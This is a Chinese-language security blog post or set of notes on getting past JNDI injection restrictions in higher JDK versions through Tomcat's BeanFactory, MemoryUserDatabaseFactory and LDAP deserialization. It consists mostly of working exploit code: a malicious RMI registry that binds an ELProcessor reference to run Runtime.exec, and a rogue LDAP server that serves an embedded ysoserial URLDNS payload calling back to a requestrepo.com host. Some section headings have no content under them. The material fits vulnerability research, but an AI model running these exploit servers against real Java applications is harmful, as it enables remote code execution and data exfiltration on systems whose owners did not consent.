参考这篇这篇这篇

本地工厂类

BeanFactory

package org.example.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDITomcatBypass {
    public static void main(String[] args) throws Exception {


//        System.setProperty("java.rmi.server.hostname","124.221.19.214");
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "CHHHCHHOH=eval"));

        // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
        ref.add(new StringRefAddr("CHHHCHHOH", "Runtime.getRuntime().exec('calc')"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);  // 绑定目录名
        System.out.println("Server Started!");
    }
}

BeanFactory#getObjectInstance会调用beanClass的所有setter方法来对它的属性进行赋值。
2024-07-09T10:40:43.png
这本来没什么问题,但是BeanFactory可以通过forceString,添加beanClass的属性值和对应的setter方法
2024-07-09T10:49:20.png
这两行设置CHHHCHHOH属性为Runtime.getRuntime().exec('calc'),对应setter方法为eval,相当于会调用ELProcessor#eval("Runtime.getRuntime().exec('calc')")来对CHHHCHHOH这个属性赋值
ref.add(new StringRefAddr("forceString", "CHHHCHHOH=eval"));
ref.add(new StringRefAddr("CHHHCHHOH", "Runtime.getRuntime().exec('calc')"));

MemoryUserDatabaseFactory

代码不长,主要是这两个地方
2024-07-09T12:07:58.png

xxe

open函数主要是获取一个xml文件并解析
2024-07-09T12:10:01.png
但是获取文件内容的时候,不同Tomcat版本获取方法不同,可能会报错
2024-07-09T13:07:51.png
8.5在读的时候一定要 System.setProperty("catalina.base", "/path/to/base");,不然这里的静态代码块会报错
2024-07-09T13:09:30.png
9.0以上的好像就没有这个问题
2024-07-09T13:16:30.png

rce

jdbc

ldap+反序列化

package org.example.jndi;

import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class JNDIDeserBypass {
    private static final String LDAP_BASE = "dc=t4rrega,dc=domain";

    public static void main(String[] tmp_args) throws Exception{
        String[] args =new String[]{"http://127.0.0.1/#Deserialize"};
        int port = 7777;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }

    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            //java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://53pg61m9.requestrepo.com" |base64 -w 0
            e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAGDUzcGc2MW05LnJlcXVlc3RyZXBvLmNvbXQAAHEAfgAFdAAEaHR0cHB4dAAfaHR0cDovLzUzcGc2MW05LnJlcXVlc3RyZXBvLmNvbXg="));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}